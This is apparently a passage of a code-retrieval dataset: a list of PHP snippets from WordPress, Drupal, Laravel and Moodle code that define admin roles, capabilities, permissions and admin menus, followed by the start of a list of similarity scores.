"public function adminMatters(){\n\n }",
"public function privileges()\n {\n $this->privileges = $this->Acces->list($_SESSION['guild_id'],'privilege');\n }",
"public function relatorio4(){\n $this->isAdmin();\n }",
"static public function removeAdminCaps()\n {\n // récupérer le rôle administrateur\n $adminRole = get_role('administrator');\n // pour chaque cap prévue pour l'admin sur le CPT courant, on retire la cap\n foreach (static::ADMIN_CAPS as $cap => $grant) {\n $adminRole->remove_cap($cap);\n }\n }",
"function add_roles_on_plugin_activation() {\n add_role( 'freelancer', 'Freelancer', array( 'read' => true, 'level_0' => true ) );\n add_role( 'employee', 'Employee', array( 'read' => true, 'level_0' => true ) );\n}",
"public function permissions() {\n $permissions = [];\n\n /** @var Drupal\\node\\Entity\\NodeType[] $node_types */\n $node_types = NodeType::loadMultiple();\n foreach ($node_types as $type) {\n $id = $type->id();\n $name = $type->label();\n\n $permissions[\"override $id published option\"] = [\n 'title' => $this->t(\"Override %type_name published option.\", [\"%type_name\" => $name]),\n ];\n\n $permissions[\"override $id promote to front page option\"] = [\n 'title' => $this->t(\"Override %type_name promote to front page option.\", [\"%type_name\" => $name]),\n ];\n\n $permissions[\"override $id sticky option\"] = [\n 'title' => $this->t(\"Override %type_name sticky option.\", [\"%type_name\" => $name]),\n ];\n\n $permissions[\"override $id revision option\"] = [\n 'title' => $this->t(\"Override %type_name revision option.\", [\"%type_name\" => $name]),\n ];\n\n $permissions[\"override $id revision log entry\"] = [\n 'title' => $this->t(\"Enter %type_name revision log entry.\", [\"%type_name\" => $name]),\n ];\n\n $permissions[\"override $id authored on option\"] = [\n 'title' => $this->t(\"Override %type_name authored on option.\", [\"%type_name\" => $name]),\n ];\n\n $permissions[\"override $id authored by option\"] = [\n 'title' => $this->t(\"Override %type_name authored by option.\", [\"%type_name\" => $name]),\n ];\n }\n\n return $permissions;\n }",
"function directorio_meta_cap( $caps, $cap, $user_id, $args ) {\n\tif ( 'edit_directorio' == $cap || 'delete_directorio' == $cap || 'read_directorio' == $cap ) {\n\t\t$post = get_post( $args[0] );\n\t\t$post_type = get_post_type_object( $post->post_type );\n\n\t\t/* Set an empty array for the caps. */\n\t\t$caps = array();\n\t}\n\n\t/* If editing a directorio, assign the required capability. */\n\tif ( 'edit_directorio' == $cap ) {\n\t\tif ( $user_id == $post->post_author )\n\t\t\t$caps[] = $post_type->cap->edit_posts;\n\t\telse\n\t\t\t$caps[] = $post_type->cap->edit_others_posts;\n\t}\n\n\t/* If deleting a directorio, assign the required capability. */\n\telseif ( 'delete_directorio' == $cap ) {\n\t\tif ( $user_id == $post->post_author )\n\t\t\t$caps[] = $post_type->cap->delete_posts;\n\t\telse\n\t\t\t$caps[] = $post_type->cap->delete_others_posts;\n\t}\n\n\t/* If reading a private directorio, assign the required capability. */\n\telseif ( 'read_directorio' == $cap ) {\n\n\t\tif ( 'private' != $post->post_status )\n\t\t\t$caps[] = 'read';\n\t\telseif ( $user_id == $post->post_author )\n\t\t\t$caps[] = 'read';\n\t\telse\n\t\t\t$caps[] = $post_type->cap->read_private_posts;\n\t}\n\n\t/* Return the capabilities required by the user. */\n\treturn $caps;\n}",
"public function makeAdministrator()\n {\n $this->setRole('administrator');\n }",
"public function register_admin_page_and_actions() {\n\t\t\tif ( ! current_user_can( 'manage_options' ) ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tadd_action( 'woocommerce_order_action_omise_charge_capture', array( Omise_Hooks::get_instance(), 'charge_capture' ) );\n\t\t\tadd_action( 'admin_post_omise_create_transfer', array( $this, 'create_transfer' ) );\n\t\t\tadd_action( 'admin_post_nopriv_omise_create_transfer', array( $this, 'no_op' ) );\n\t\t\tadd_action( 'admin_menu', array( $this, 'add_dashboard_omise_menu' ) );\n\t\t}",
"function dynamo_support_create_default_role() {\n global $wp_roles;\n if($wp_roles->get_role('administrator')) {\n $admin = $wp_roles->get_role('administrator');\n //Tickets\n $admin->add_cap('access_tickets');\n $admin->add_cap('publish_tickets');\n $admin->add_cap('edit_tickets');\n $admin->add_cap('delete_tickets');\n $admin->add_cap('delete_others_tickets');\n $admin->add_cap('edit_others_tickets');\n $admin->add_cap('read_private_tickets');\n $admin->add_cap('read_tickets');\n $admin->add_cap('read_ticket');\n $admin->add_cap('edit_ticket');\n $admin->add_cap('delete_ticket');\n //Articles\n $admin->add_cap('access_knowledgebase');\n $admin->add_cap('publish_articles');\n $admin->add_cap('edit_articles');\n $admin->add_cap('delete_articles');\n $admin->add_cap('delete_others_articles');\n $admin->add_cap('edit_others_articles');\n $admin->add_cap('read_others_articles');\n $admin->add_cap('read_article');\n $admin->add_cap('edit_article');\n $admin->add_cap('delete_article');\n $admin->add_cap('read_private_articles');\n //Feedback\n $admin->add_cap('access_feedback');\n //Assignment\n $admin->add_cap('view_all_tickets');\n }\n\n //Add Support Admin Role which allows full access to KB and Tickets but no posts/pages plugin setting etc...\n if(!$wp_roles->get_role('support_admin')) {\n $super_ticket = $wp_roles->add_role('support_admin','Support Admin', array(\n 'access_tickets' => true,\n 'access_knowledgebase' => true,\n 'publish_tickets' => true,\n 'publish_articles' => true,\n 'edit_tickets' => true,\n 'delete_tickets' => true,\n 'delete_others_tickets' => true,\n 'edit_others_tickets' => true,\n 'read_private_tickets' => true,\n 'read_tickets' => true,\n 'publish_articles' => true,\n 'edit_articles' => true,\n 'delete_articles' => true,\n 'delete_others_articles' => true,\n 'edit_others_articles' => true,\n 'read_private_articles' => true,\n 'read_articles' => true,\n 'read' => true,\n 'read_article' => true,\n 'userstatistics' => true,\n 'access_feedback' => true\n )\n );\n }\n //Add 2 Standard Roles Billing & Affiliate dept (user can delete if needed)\n if(!$wp_roles->get_role('billing-dept')) {\n $super_ticket = $wp_roles->add_role('billing-dept','Billing Dept', array(\n 'access_tickets' => true,\n 'publish_tickets' => true,\n 'edit_tickets' => true,\n 'delete_tickets' => true,\n 'delete_others_tickets' => true,\n 'edit_others_tickets' => true,\n 'read_private_tickets' => true,\n 'read_tickets' => true,\n 'read' => true,\n 'userstatistics' => true,\n 'access_tickets_1' => true,\n )\n );\n }\n if(!$wp_roles->get_role('affiliate-dept')) {\n $super_ticket = $wp_roles->add_role('affiliate-dept','Affiliate Dept', array(\n 'access_tickets' => true,\n 'publish_tickets' => true,\n 'edit_tickets' => true,\n 'delete_tickets' => true,\n 'delete_others_tickets' => true,\n 'edit_others_tickets' => true,\n 'read_private_tickets' => true,\n 'read_tickets' => true,\n 'read' => true,\n 'userstatistics' => true,\n 'access_tickets_0' => true,\n )\n );\n }\n }",
"public function setAsAdmin()\n {\n if (!in_array('admin', $this->roles)) {\n $this->roles[] = 'admin';\n }\n }",
"function GetListAdminTypes()\n\t{\n\t\treturn $this->ListAdminTypes;\n\t}",
"function add_cap_editor() {\n $perfil = get_role('editor');\n $perfil->add_cap('edit_users');\n $perfil->add_cap('delete_users');\n $perfil->add_cap('create_users');\n $perfil->add_cap('list_users');\n $perfil->remove_cap('remove_users');\n $perfil->remove_cap('add_users');\n $perfil->add_cap('promote_users');\n $perfil->remove_cap('add_users');\n // Editar opciones del tema\n $perfil->add_cap('edit_theme_options');\n}",
"protected function getAdministratorPermissions() {\n return array_merge($this->getEditorPermissions(), $this->getTranslatorPermissions(), ['administer languages', 'administer content translation']);\n }",
"private function admin_area_actions() {\n\n\t\tif( is_admin() ) {\n\n\t\t\t//Disable dashboard widgets\n\t\t\tadd_action( 'admin_menu', array($this, 'disable_dashboard_widgets') );\n\n\t\t}\n\n\t}",
"function user_can_access_admin_page()\n {\n }",
"public function set_caps( $a ){\n\t\t\t\n\t\t\t$caps = array(\n\t\t\t\t\t'publish_posts' => 'publish_'.$a[ 'cap_posts' ],\n\t\t\t\t\t'edit_posts' => 'edit_'.$a[ 'cap_posts' ],\n\t\t\t\t\t'edit_others_posts' => 'edit_others_'.$a[ 'cap_posts' ],\n\t\t\t\t\t'delete_posts' => 'delete_'.$a[ 'cap_posts' ],\n\t\t\t\t\t'delete_others_posts' => 'delete_others_'.$a[ 'cap_posts' ],\n\t\t\t\t\t'read_private_posts' => 'read_private_'.$a[ 'cap_posts' ],\n\t\t\t\t\t'edit_post' => 'edit_'.$a[ 'cap_post' ],\n\t\t\t\t\t'delete_post' => 'delete_'.$a[ 'cap_post' ],\n\t\t\t\t\t'read_post' => 'read_'.$a[ 'cap_post' ],\n\t\t\t\t\t'read' => 'read_'.$a[ 'cap_posts' ],\n\t\t\t\t\t'edit_private_posts' => 'edit_private_'.$a[ 'cap_posts' ],\n\t\t\t\t\t'edit_published_posts' => 'edit_published_'.$a[ 'cap_posts' ],\n\t\t\t\t\t'delete_published_posts' => 'delete_published_'.$a[ 'cap_posts' ],\n\t\t\t\t\t'delete_private_posts' => 'delete_private_'.$a[ 'cap_posts' ]\n\t\t\t\t);\n\t\t\t\t\n\t\t\treturn $caps;\n\t\t}",
"public function Menu() {\n $user_role = get_option('oxi_addons_user_permission');\n $role_object = get_role($user_role);\n $first_key = '';\n if (isset($role_object->capabilities) && is_array($role_object->capabilities)) {\n reset($role_object->capabilities);\n $first_key = key($role_object->capabilities);\n } else {\n $first_key = 'manage_options';\n }\n add_submenu_page('oxi-addons', 'Elementor Addons', 'Elementor Addons', $first_key, 'oxi-el-addons', [$this, 'oxi_addons_elementors']);\n }",
"function findAllAdministrators() {\r\n\r\n\t\treturn ($this->query('SELECT * FROM admins;'));\r\n\r\n\t}",
"function egsr_contributor_cap(){\n return Array ( \n 'delete_posts' => true,\n 'edit_posts' => true,\n 'read' => true,\n );\n}",
"public function run()\n {\n Role::create(['name' => 'admin']);\n $supervisor = Role::create(['name' => 'supervisor']);\n $supply = Role::create(['name' => 'supply']);\n $inspector = Role::create(['name' => 'inspector']);\n $user = Role::create(['name' => 'user']);\n\n $supervisorPermissions = [\n 'Access preventative',\n 'Show preventative',\n 'Create preventative',\n 'Edit preventative',\n 'Delete preventative',\n 'Access supply',\n 'Show supply',\n 'Create supply',\n 'Edit supply',\n 'Delete supply',\n 'Access building',\n 'Show building',\n 'Create building',\n 'Edit building',\n 'Delete building',\n 'Access extinguisher',\n 'Show extinguisher',\n 'Create extinguisher',\n 'Edit extinguisher',\n 'Delete extinguisher',\n 'Access item',\n 'Show item',\n 'Create item',\n 'Edit item',\n 'Delete item',\n ];\n\n $inspectorPermissions = [\n 'Access preventative',\n 'Show preventative',\n 'Create preventative',\n 'Edit preventative',\n 'Delete preventative',\n 'Access building',\n 'Show building',\n 'Create building',\n 'Edit building',\n 'Delete building',\n 'Access extinguisher',\n 'Show extinguisher',\n 'Create extinguisher',\n 'Edit extinguisher',\n 'Delete extinguisher'\n ];\n\n $supplyPermissions = [\n 'Access supply',\n 'Show supply',\n 'Create supply',\n 'Edit supply',\n 'Delete supply',\n 'Access item',\n 'Show item',\n 'Create item',\n 'Edit item',\n 'Delete item',\n ];\n\n $userPermissions = [\n 'Access supply',\n 'Access item',\n 'Access preventative',\n 'Access building',\n 'Access extinguisher',\n 'Show supply',\n 'Show item',\n 'Show preventative',\n 'Show building',\n 'Show extinguisher',\n ];\n\n $supervisor->givePermissionTo($supervisorPermissions);\n $inspector->givePermissionTo($inspectorPermissions);\n $supply->givePermissionTo($supplyPermissions);\n $user->givePermissionTo($userPermissions);\n }",
"public function getAdminPermissions(): array;",
"public function isAdmin();",
"function isa_editor_manage_users()\n{\n if (get_option('isa_add_cap_editor_once') != 'done') {\n // let editor manage users\n $edit_editor = get_role('editor'); // Get the user role\n $edit_editor->add_cap('edit_users');\n $edit_editor->add_cap('list_users');\n $edit_editor->add_cap('promote_users');\n $edit_editor->add_cap('create_users');\n $edit_editor->add_cap('add_users');\n $edit_editor->add_cap('delete_users');\n\n update_option('isa_add_cap_editor_once', 'done');\n }\n}",
"function convocatoria_meta_cap( $caps, $cap, $user_id, $args ) {\n\tif ( 'edit_convocatoria' == $cap || 'delete_convocatoria' == $cap || 'read_convocatoria' == $cap ) {\n\t\t$post = get_post( $args[0] );\n\t\t$post_type = get_post_type_object( $post->post_type );\n\n\t\t/* Set an empty array for the caps. */\n\t\t$caps = array();\n\t}\n\n\t/* If editing a convocatoria, assign the required capability. */\n\tif ( 'edit_convocatoria' == $cap ) {\n\t\tif ( $user_id == $post->post_author )\n\t\t\t$caps[] = $post_type->cap->edit_posts;\n\t\telse\n\t\t\t$caps[] = $post_type->cap->edit_others_posts;\n\t}\n\n\t/* If deleting a convocatoria, assign the required capability. */\n\telseif ( 'delete_convocatoria' == $cap ) {\n\t\tif ( $user_id == $post->post_author )\n\t\t\t$caps[] = $post_type->cap->delete_posts;\n\t\telse\n\t\t\t$caps[] = $post_type->cap->delete_others_posts;\n\t}\n\n\t/* If reading a private convocatoria, assign the required capability. */\n\telseif ( 'read_convocatoria' == $cap ) {\n\n\t\tif ( 'private' != $post->post_status )\n\t\t\t$caps[] = 'read';\n\t\telseif ( $user_id == $post->post_author )\n\t\t\t$caps[] = 'read';\n\t\telse\n\t\t\t$caps[] = $post_type->cap->read_private_posts;\n\t}\n\n\t/* Return the capabilities required by the user. */\n\treturn $caps;\n}",
"public\tfunction\tadminMenues() {\n\t\t\t/**\n\t\t\t * Menu Pages.\n\t\t\t */\n\t\t\t\n\t\t\t//Create a new menu page.\n\t\t\t$this -> pages[]\t=\tadd_menu_page(\n\t\t\t\t\t'FrozenPlugin', //Page title. \n\t\t\t\t\t'FrozenPlugin', //Menu title.\n\t\t\t\t\t'activate_plugins', //Capability.\n\t\t\t\t\t'FrozenPlugin-home', //Slug.\n\t\t\t\t\tarray($this, 'panelHome'), //Function. \n\t\t\t\t\t'dashicons-admin-generic', //Dashicon. \n\t\t\t\t\t68 //Default position underneath plugins. \n\t\t\t);\n\t\t\t\n\t\t\t/**\n\t\t\t * Submenu Pages\n\t\t\t */\n\t\t\t\n\t\t\t//Create a submenu page. \n\t\t\t$this -> pages[]\t=\tadd_submenu_page(\n\t\t\t\t\t'FrozenPlugin-home', //Parent slug.\n\t\t\t\t\t'FrozenPlugin', //Page title.\n\t\t\t\t\t'FP Home', //Menu title. \n\t\t\t\t\t'activate_plugins', //Capability.\n\t\t\t\t\t'FrozenPlugin-home', //Slug - note this is identical to the parent slug. \n\t\t\t\t\tarray($this, 'panelHome') //Function.\n\t\t\t\t\t);\n\t\t\t\n\t\t\t//Create a submenu page.\n\t\t\t$this -> pages[]\t=\tadd_submenu_page(\n\t\t\t\t\t'FrozenPlugin-home', //Parent slug.\n\t\t\t\t\t'FrozenPlugin', //Page title.\n\t\t\t\t\t'Settings', //Menu title.\n\t\t\t\t\t'activate_plugins', //Capability.\n\t\t\t\t\t'FrozenPlugin-settings', //Slug - note this is identical to the parent slug.\n\t\t\t\t\tarray($this, 'panelSettings') //Function.\n\t\t\t\t\t);\n\t\t\t\n\t\t\t/**\n\t\t\t * Actions, filters, and hooks that rely on the current page go here. \n\t\t\t */\n\t\t\t\n\t\t\t//For each page.\n\t\t\tforeach($this -> pages as $page) {\n\t\t\t\t//Add an action to load the help page.\n\t\t\t\tadd_action(\"load-$page\", array($this, 'helpMenu'));\n\t\t\t\t\n\t\t\t\t//Add an action to load admin area related content.\n\t\t\t\tadd_action(\"admin_print_styles-$page\", array($this, 'enqueueAdmin'));\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t}",
"public function add_admin() {\n $current_pages = array();\n\n $permission = 'manage_options';\n if (defined('SWPM_MANAGEMENT_PERMISSION')){\n $permission = SWPM_MANAGEMENT_PERMISSION;\n }\n \n $current_pages['swpm'] = add_submenu_page('simple_wp_membership', __('Form Builder', 'simple-membership'), __('Form Builder', 'simple-membership'), $permission, 'swpm-form-builder', array(&$this, 'admin'));\n // All plugin page load hooks\n foreach ($current_pages as $key => $page) {\n // Load the jQuery and CSS we need if we're on our plugin page\n add_action(\"load-$page\", array(&$this, 'admin_scripts'));\n\n // Load the Help tab on all pages\n add_action(\"load-$page\", array(&$this, 'help'));\n }\n // Save pages array for filter/action use throughout plugin\n $this->_admin_pages = $current_pages;\n\n // Adds a Screen Options tab to the Entries screen\n add_action('load-' . $current_pages['swpm'], array(&$this, 'screen_options'));\n\n // Add meta boxes to the form builder admin page\n add_action('load-' . $current_pages['swpm'], array(&$this, 'add_meta_boxes'));\n\n add_action('load-' . $current_pages['swpm'], array(&$this, 'include_forms_list'));\n }",
"function gdlr_lms_add_user_role(){\r\n\t\tadd_role('instructor', __('Instructor', 'gdlr-lms'), \r\n\t\t\tarray('instructor'=>true, 'read'=>true, 'edit_users'=>true, 'edit_dashboard'=>true, 'upload_files'=>true,\r\n\t\t\t\t 'edit_course'=>true, 'edit_courses'=>true, 'edit_published_courses'=>true, 'publish_courses'=>true, 'delete_course'=>true, 'delete_courses'=>true, 'delete_published_courses'=>true,\r\n\t\t\t\t 'edit_quiz'=>true, 'edit_quizzes'=>true, 'edit_published_quizzes'=>true,'publish_quizzes'=>true, 'delete_quiz'=>true, 'delete_quizzes'=>true, 'delete_published_quizzes'=>true,\r\n\t\t\t\t 'course_taxes'=>true )\r\n\t\t);\r\n\t\tadd_role('student', __('Student', 'gdlr-lms'));\r\n\t\t\r\n\t\t$administrator = get_role('administrator');\r\n\t\t\r\n\t\t$administrator->add_cap('course_taxes');\r\n\t\t$administrator->add_cap('course_taxes_edit');\r\n\t\t$administrator->add_cap('edit_course');\r\n\t\t$administrator->add_cap('read_course');\r\n\t\t$administrator->add_cap('delete_course');\r\n\t\t$administrator->add_cap('edit_courses');\r\n\t\t$administrator->add_cap('edit_others_courses');\r\n\t\t$administrator->add_cap('publish_courses');\r\n\t\t$administrator->add_cap('read_private_courses');\r\n $administrator->add_cap('delete_courses');\r\n $administrator->add_cap('delete_private_courses');\r\n $administrator->add_cap('delete_published_courses');\r\n $administrator->add_cap('delete_others_courses');\r\n $administrator->add_cap('edit_private_courses');\r\n $administrator->add_cap('edit_published_courses');\t\r\n\r\n\t\t$administrator->add_cap('edit_quiz');\r\n\t\t$administrator->add_cap('read_quiz');\r\n\t\t$administrator->add_cap('delete_quiz');\r\n\t\t$administrator->add_cap('edit_quizzes');\r\n\t\t$administrator->add_cap('edit_others_quizzes');\r\n\t\t$administrator->add_cap('publish_quizzes');\r\n\t\t$administrator->add_cap('read_private_quizzes');\r\n $administrator->add_cap('delete_quizzes');\r\n $administrator->add_cap('delete_private_quizzes');\r\n $administrator->add_cap('delete_published_quizzes');\r\n $administrator->add_cap('delete_others_quizzes');\r\n $administrator->add_cap('edit_private_quizzes');\r\n $administrator->add_cap('edit_published_quizzes');\t\t\r\n\t\t\r\n\t\t// 1.01 capability fix\r\n\t\t$instructor = get_role('instructor');\r\n\t\t$instructor->add_cap('edit_published_courses');\r\n\t\t$instructor->add_cap('edit_published_quizzes');\r\n\t}",
"public function add_seller_manage_cap() {\n global $wp_roles;\n\n if ( is_object( $wp_roles ) ) {\n $wp_roles->add_cap( 'seller', 'manage_bookings' );\n }\n }",
"function admin() {\n \n add_action( 'genesis_theme_settings_metaboxes', array( $this, 'register_metabox' ) );\n add_filter( 'cmb_meta_boxes', array( $this, 'create_metaboxes' ) );\n add_action( 'init', array( $this, 'initialize_cmb_meta_boxes' ), 50 );\n \n }",
"function showAdmins() {\n // permissions...\n if(!Current_User::isDeity()) {\n PHPWS_Core::initModClass('sysinventory','Sysinventory_Error.php');\n $error = 'Uh Uh Uh! You didn\\'t say the magic word!';\n Sysinventory_Error::error($error);\n return;\n }\n\n // set up some stuff for the page template\n $tpl = array();\n $tpl['PAGE_TITLE'] = 'Edit Administrators';\n $tpl['HOME_LINK'] = PHPWS_Text::moduleLink('Back to menu','sysinventory');\n\n // create the list of admins\n PHPWS_Core::initModClass('sysinventory','Sysinventory_Admin.php');\n $adminList = Sysinventory_Admin::generateAdminList();\n // get the list of departments\n PHPWS_Core::initModClass('sysinventory','Sysinventory_Department.php');\n $depts = Sysinventory_Department::getDepartmentsByUsername();\n\n // build the array for the department drop-down box\n $deptIdSelect = array();\n foreach($depts as $dept) {\n $deptIdSelect[$dept['id']] = $dept['description'];\n }\n\n // make the form for adding a new admin\n $form = new PHPWS_Form('add_admin');\n $form->addSelect('department_id',$deptIdSelect);\n $form->setLabel('department_id','Department');\n $form->addText('username');\n $form->setLabel('username','Username');\n $form->addSubmit('submit','Create Admin');\n $form->setAction('index.php?module=sysinventory&action=edit_admins');\n $form->addHidden('newadmin','add');\n\n $tpl['PAGER'] = $adminList;\n\n $form->mergeTemplate($tpl);\n\n $template = PHPWS_Template::process($form->getTemplate(),'sysinventory','edit_admin.tpl');\n\n Layout::addStyle('sysinventory','style.css');\n Layout::add($template);\n\n }",
"function wppb_manage_rf_cpt(){\r\n\tglobal $wp_roles;\r\n\r\n\t$available_roles = $available_time = array();\r\n\r\n\tforeach ( $wp_roles->roles as $slug => $role )\r\n\t\t$available_roles[$slug] = '%'.trim( $role['name'] ).'%'.$slug;\r\n\r\n /* put the roles subscriber contributor author editor administrator in this order at the start of the options */\r\n $desired_order_reversed = array( 'administrator', 'editor', 'author', 'contributor', 'subscriber' );\r\n foreach( $desired_order_reversed as $key ){\r\n if( !empty( $available_roles[$key] ) ){\r\n $value = $available_roles[$key];\r\n unset( $available_roles[$key] );\r\n array_unshift( $available_roles , $value );\r\n }\r\n }\r\n /* add the default role at the start of the options */\r\n array_unshift( $available_roles , '%'.__( 'Default Role', 'profile-builder' ).'%'.'default role' );\r\n\r\n\r\n\r\n\tfor( $i=0; $i<=250; $i++ )\r\n\t\t$available_time[] = $i;\r\n\r\n\t// set up the fields array\r\n\t$settings_fields = array( \t\t\r\n\t\tarray( 'type' => 'select', 'slug' => 'set-role', 'title' => __( 'Set Role', 'profile-builder' ), 'options' => $available_roles, 'description' => __( 'Choose what role the user will have after (s)he registered<br/>If not specified, defaults to the role set in the WordPress settings', 'profile-builder' ) ),\r\n\t\tarray( 'type' => 'select', 'slug' => 'automatically-log-in', 'title' => __( 'Automatically Log In', 'profile-builder' ), 'options' => array( '%'.__('No', 'profile-builder').'%No', '%'.__('Yes', 'profile-builder').'%Yes' ), 'default' => 'No', 'description' => __( 'Whether to automatically log in the newly registered user or not<br/>Only works on single-sites without \"Admin Approval\" and \"Email Confirmation\" features activated<br/>WARNING: Caching the registration form will make automatic login not work', 'profile-builder' ) ),\r\n\t\tarray( 'type' => 'select', 'slug' => 'redirect', 'title' => __( 'Redirect', 'profile-builder' ), 'options' => array( '%'.__('Default', 'profile-builder').'%-', '%'.__('No', 'profile-builder').'%No', '%'.__('Yes', 'profile-builder').'%Yes' ), 'default' => '-', 'description' => __( 'Whether to redirect the user to a specific page or not', 'profile-builder' ) ),\r\n\t\tarray( 'type' => 'select', 'slug' => 'display-messages', 'title' => __( 'Display Messages', 'profile-builder' ), 'options' => $available_time, 'default' => 1, 'description' => __( 'Allowed time to display any success messages (in seconds)', 'profile-builder' ) ),\r\n\t\tarray( 'type' => 'text', 'slug' => 'url', 'title' => __( 'URL', 'profile-builder' ), 'description' => __( 'Specify the URL of the page users will be redirected once registered using this form<br/>Use the following format: http://www.mysite.com', 'profile-builder' ) ),\r\n\t);\r\n\t\r\n\t// set up the box arguments\r\n\t$args = array(\r\n\t\t'metabox_id' => 'wppb-rf-settings-args',\r\n\t\t'metabox_title' => __( 'After Registration...', 'profile-builder' ),\r\n\t\t'post_type' => 'wppb-rf-cpt',\r\n\t\t'meta_name' => 'wppb_rf_page_settings',\r\n\t\t'meta_array' => $settings_fields,\t\t\t\r\n\t\t'sortable' => false,\r\n\t\t'single' => true\r\n\t);\r\n\tnew Wordpress_Creation_Kit_PB( $args );\r\n\r\n\t$rf_fields = array ();\r\n\t\r\n\t$all_fields = get_option ( 'wppb_manage_fields', 'not_set' );\r\n\tif ( ( $all_fields != 'not_set' ) && ( ( is_array( $all_fields ) ) && ( !empty( $all_fields ) ) ) ){\r\n\t\tforeach ( $all_fields as $key => $value ) {\r\n if ( $value['field'] != 'Default - Display name publicly as' )\r\n array_push( $rf_fields, wppb_field_format( $value['field-title'], $value['field'] ) );\r\n }\r\n\t}\r\n\r\n\t$rf_fields = apply_filters( 'wppb_rf_fields_types', $rf_fields );\r\n\r\n\t// set up the box arguments for the register forms and create them\r\n\t$args = array(\r\n\t\t'metabox_id' => 'wppb-rf-fields',\r\n\t\t'metabox_title' => __( 'Add New Field to the List', 'profile-builder' ),\r\n\t\t'post_type' => 'wppb-rf-cpt',\r\n\t\t'meta_name' => 'wppb_rf_fields',\r\n\t\t'meta_array' => $rf_fields = apply_filters\t( 'wppb_rf_fields', array( \r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray( 'type' => 'select', 'slug' => 'field', 'title' => __( 'Field', 'profile-builder' ), 'options' => $rf_fields, 'default-option' => true, 'description' => sprintf( __( 'Choose one of the supported fields you manage <a href=\"%s\">here</a>', 'profile-builder' ), admin_url( 'admin.php?page=manage-fields' ) ) ),\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray( 'type' => 'text', 'slug' => 'id', 'title' => __( 'ID', 'profile-builder' ), 'default' => '', 'description' => __( \"A unique, auto-generated ID for this particular field<br/>You can use this in conjuction with filters to target this element if needed<br/>Can't be edited\", 'profile-builder' ), 'readonly' => true )\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t) \r\n\t\t\t\t\t\t\t\t\t\t\t\t\t)\r\n\t);\r\n\tnew Wordpress_Creation_Kit_PB( $args );\r\n\r\n\r\n}",
"function bp_group_email_get_capabilities() {\r\n if ( bp_group_is_admin() || bp_group_is_mod() ) { \r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }",
"public function admins()\n {\n return $this->belongsToMany(Config::get('guardian.admin_user'), Config::get('guardian.role_admin_user_table'), Config::get('guardian.role_foreign_key'), Config::get('guardian.admin_user_foreign_key'));\n }",
"function dataform_get_extra_capabilities() {\n return array('moodle/site:accessallgroups',\n 'moodle/site:viewfullnames',\n 'moodle/rating:view',\n 'moodle/rating:viewany',\n 'moodle/rating:viewall',\n 'moodle/rating:rate',\n 'moodle/comment:view',\n 'moodle/comment:post',\n 'moodle/comment:delete');\n}",
"public static function init()\n\t{\n\t\tPostTypeCreator::addPostType(Access::$MACHINE_NAME, 'Access', 'Accesses');\n\n\t\tPostTypeCreator::setArgs(array(\n\t\t\t'supports' => ['title','editor'],\n\t\t\t'menu_icon' => 'dashicons-admin-network',\n\t\t\t'show_in_menu' => false,\n\t\t\t'menu_position' => null,\n\t\t),Access::$MACHINE_NAME);\n\n\t\t$self = new Access();\n\n\t\tadd_action('add_meta_boxes', array(get_class($self), 'access_register_meta_boxes'));\n\t\tadd_action('save_post', array(get_class($self), 'access_save_meta_box'));\n\n\t\tadd_filter(\"manage_edit-\" . Access::$MACHINE_NAME . \"_columns\", function($columns) {\n\t\t\tglobal $typenow;\n\t\t\t$new_columns = $columns;\n\t\t\tif (in_array($typenow, array(Access::$MACHINE_NAME) )) {\n\n\t\t\t\t$new_columns = array();\n\t\t\t\t$after = false;\n\t\t\t\tforeach ($columns as $key=>$value) {\n\t\t\t\t\tif ($after) {\n\t\t\t\t\t\t$new_columns['user']= __(\"User\",SAPI_TEXT_DOMAIN);\n\t\t\t\t\t\t$new_columns['key'] = __(\"Key\",SAPI_TEXT_DOMAIN);\n\t\t\t\t\t\t$after = false;\n\t\t\t\t\t}\n\t\t\t\t\t$new_columns[$key] = $value;\n\t\t\t\t\tif ($key == 'title') $after = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $new_columns;\n\t\t});\n\n\t\tadd_action( \"manage_\" . Access::$MACHINE_NAME . \"_posts_custom_column\", function($column) {\n\t\t\tglobal $post;\n\t\t\tglobal $typenow;\n\t\t\tif (in_array($typenow, array(Access::$MACHINE_NAME) )) {\n\n\t\t\t\t$post_id = get_the_ID();\n\t\t\t\tswitch ( $column ) {\n\t\t\t\t\tcase 'user' :\n\t\t\t\t\t\t$user = get_post_meta($post_id,'user',true );\n\t\t\t\t\t\tprint $user;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'key' :\n\t\t\t\t\t\t$key = get_post_meta($post_id,'key',true );\n\t\t\t\t\t\tprint $key;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}, 11, 1 );\n\n\t}",
"public function isAdmin()\n {\n return $this->type == self::TYPE_ADMIN ;\n }",
"public function manage_admin_menu_options() {\n\n global $submenu;\n\n remove_meta_box(\"dashboard_primary\", \"dashboard\", \"side\"); // WordPress.com blog\n remove_meta_box(\"dashboard_secondary\", \"dashboard\", \"side\"); // Other WordPress news\n add_post_type_support('prompts', 'comments');\n remove_menu_page('index.php'); // Remove the dashboard link from the Wordpress sidebar.\n remove_menu_page('edit.php'); // remove default post type.\n remove_menu_page('edit.php?post_type=page'); // remove default page type.\n remove_menu_page('upload.php'); // remove default post type.\n\n add_menu_page('artworks', 'Artworks', 'manage_options', 'edit-tags.php?taxonomy=artworks&post_type=prompts', '', 'dashicons-format-image', 5);\n\n if ( !current_user_can( 'administrator' ) ) {\n\n if ( isset( $submenu['themes.php']) ) {\n foreach ($submenu['themes.php'] as $key => $menu_item ) {\n if ( in_array('Customize', $menu_item ) ) {\n unset( $submenu['themes.php'][$key] );\n }\n if ( in_array('Themes', $menu_item ) ) {\n unset( $submenu['themes.php'][$key] );\n }\n }\n }\n\n }\n\n }",
"public function isAdmin()\n {\n }",
"public function is_admin_only()\n\t{\n\t\treturn false;\n\t}",
"function alt_press_gravityforms_for_editors() {\n $role = get_role( 'editor' );\n \n // Add a new capability.\n $role->add_cap( 'gravityforms_create_form', true );\n $role->add_cap( 'gravityforms_edit_forms', true );\n $role->add_cap( 'gravityforms_preview_forms', true );\n $role->add_cap( 'gravityforms_view_entries', true );\n}"
] | [
"0.7672421",
"0.72647595",
"0.6837639",
